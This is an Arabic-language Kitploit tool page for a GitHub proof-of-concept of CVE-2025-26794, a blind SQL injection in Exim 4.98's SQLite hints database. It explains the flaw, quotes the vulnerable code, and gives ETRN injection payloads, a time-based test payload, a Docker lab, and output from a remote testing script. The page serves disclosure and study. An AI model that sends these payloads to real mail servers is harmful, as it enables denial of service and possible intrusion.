Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-26794 — CVE-2025-26794: حقن SQL أعمى في Exim 4.98 (SQLite DBM) - شرح الاستغلال | Kitploit
أدوات/GitHubGitHub/oscarbataille/cve-2025-26794
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794: حقن SQL أعمى في Exim 4.98 (SQLite DBM) - شرح الاستغلال

عرض المستودع
15منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-26794: حقن SQL أعمى في Exim 4.98 (SQLite DBM) - شرح الاستغلال

تقرير Exim: https://www.exim.org/static/doc/security/CVE-2025-26794.txt

اكتشفت هذه الثغرة من خلال مراجعة يدوية للكود.

تفاصيل الثغرة:

المشكلة

معاملات SQL، عند استخدام SQLite كمدير قاعدة بيانات (DBM)، لا يتم تنقيتها بشكل صحيح. يؤدي ذلك إلى إمكانية قيام مستخدم عن بعد بتشكيل استعلامات SQLite مخصصة.

المتطلبات:

  • قم بتجميع Exim مع "USE_SQLITE = yes". سيؤدي ذلك إلى تعيين SQLite كمدير قاعدة البيانات (DBM).
  • قم بتمكين أمر ETRN. لهذا، تحتاج إلى تعيين "acl_smtp_etrn" في ملف الإعدادات.

إثبات المفهوم

مقدمة

يستخدم Exim قاعدة بيانات داخلية لتخزين المفاتيح والقيم (تسمى HintsDB) تدعم عدة خلفيات، يتم تعيينها وقت البناء. أحدث إضافة كانت SQLite. تُستخدم لتخزين:

  • جلسات TLS
  • معلومات عن حدود المعدل
  • معلومات عن إعادة المحاولات
  • الإشارات (مع enq_start()) لأوامر ETRN وتوصيل SMTP
  • معلومات عن حدود التزامن للنقل
  • "قاعدة انتظار" لتسليم البريد الإلكتروني الذي تم تأجيله بواسطة وسيلة نقل
  • لـ PIPECONNECT: تخزين استجابات EHLO من الخوادم البعيدة مؤقتًا

الملف المتأثر هو hintsdb.h. تم نقله إلى ملف منفصل (hints_sqlite.h) في أحدث الالتزامات. فقط دوال SQLite هي المتأثرة (مثال الدالة: exim_s_dbp).

root@kitploit:~
 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
}

مفتاح الإدخال لا يتم تخطيه بشكل صحيح. لذلك، إذا تمكنا من التحكم في المفتاح، فسنكون قادرين على حقن أي كود SQLite.

الاستغلال

RFC1985 يعرف أمر ETRN في SMTP، "حيث يمكن للعميل أن يطلب من الخادم بدء معالجة قوائم البريد الخاصة به للرسائل المنتظرة في الخادم لجهاز العميل". يستخدم مع أمر SMTP: ETRN #domain.com.

في Exim، يقوم أمر ETRN بتعيين إشارة في HintsDB لتجنب تشغيل أوامر ETRN متعددة بالتوازي. يتم تنفيذ هذه الإشارة بواسطة دالة enq_start(keyname, value) التي تنشئ إدخالاً جديدًا في قاعدة بيانات "misc".

root@kitploit:~
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

على سبيل المثال، أمر SMTP ETRN #test.com سينشئ إدخالاً مؤقتًا في قاعدة بيانات SQLite "misc" بالمفتاح "etrn-#test.com" والقيمة 1.

في نهاية معالجة أمر ETRN، سيتم إزالة الإدخال من قاعدة البيانات:

root@kitploit:~
enq_end(etrn_serialize_key);

بما أننا نتحكم في المفتاح، يمكننا حقن كود SQL خاص بنا باستخدام أمر SMTP التالي:

root@kitploit:~
ETRN #',1); ## INSERT SQL HERE ##  /*

نظرًا لعدم وجود مخرجات، يمكننا إرسال حمولة SQLi زمنية لاختبار هذه الثغرة عن بُعد:

root@kitploit:~
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

التأثير

  • تمكنت من الاتصال بقواعد بيانات SQLite محلية أخرى (التي يمكن لمستخدم Exim الوصول إليها) باستخدام ATTACH DATABASE، أعتقد أنه يمكننا ربما استغلال حالة سباق في Exim لإحداث سلوك غير محدد عن طريق العبث بقواعد البيانات الأخرى المستخدمة. لا يزال هذا افتراضيًا جدًا حاليًا.
  • لدينا أيضًا إمكانية الوصول إلى سطح الهجوم الكامل لـ SQLite. قد نجمع هذا الاستغلال مع استغلال SQLite لتحقيق تنفيذ كود عن بعد (RCE).

قيود الاستغلال:

  • أنواع البحث dbm و dmbjz و dbmnz تستخدم DBM المكون (SQLite في هذه الحالة) مما قد يزيد من سطح الهجوم بشكل كبير. لم أختبر الاستغلال. ومع ذلك، يبدو استخدام بحث dbm عند تعيين SQLite كـ DBM غير محتمل.
  • أفترض أنه من النادر جدًا تمكين أمر ETRN (وهو قديم جدًا). لم أجد في أي مكان آخر في الكود يتم فيه استخدام إدخال المستخدم لبناء سلسلة الاستعلام.
  • أفترض أنه من النادر جدًا تمكين دعم SQLite كـ DBM لأنه حديث جدًا.
  • أفترض أنه من النادر أيضًا استخدام SQLite كـ DBM لأنه تمت إضافته فقط في أحدث إصدار من Exim.

لذلك أشك في أن هذه الطريقة من الاستغلال قد استُخدمت في البيئة الحقيقية. ومع ذلك، فهي ثغرة خطيرة.

هذا يعني أنه يمكننا بسهولة القيام بهجوم رفض الخدمة (مثل: ملء القرص)، ولكن تصعيد هذا إلى تنفيذ كود عن بعد سيتطلب المزيد من العمل، ولكنه قد يكون ممكنًا.

إعادة إنتاج الخلل

إليك مختبر Docker محلي للمساعدة في إعادة إنتاج هذه الثغرة.

بناء وتشغيل exim

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh سيقوم ببنائك وتسجيل دخولك في الحاوية
  4. داخل الحاوية bash start-exim.sh لتشغيل خادم exim

الاتصال بخادم EXIM

  1. الاتصال باستخدام Netcat: nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. إصدار أمر ETRN: ETRN #'
  4. التحقق من سجل Exim لهذا السطر: sqlite3_exec: near "', X'": syntax error

اختبار خادم

طورت سكربت test.py لاختبار هذه الثغرة عن بُعد.

root@kitploit:~
python3 docker_lab/test.py <host>

مثال:

root@kitploit:~
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

Client:  ETRN #

ETRN response: 458 Already processing
 Time: 0.006737470626831055

Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN response: 250 OK
 Time: 1.073132038116455

!! Vulnerable
تنزيل الأداة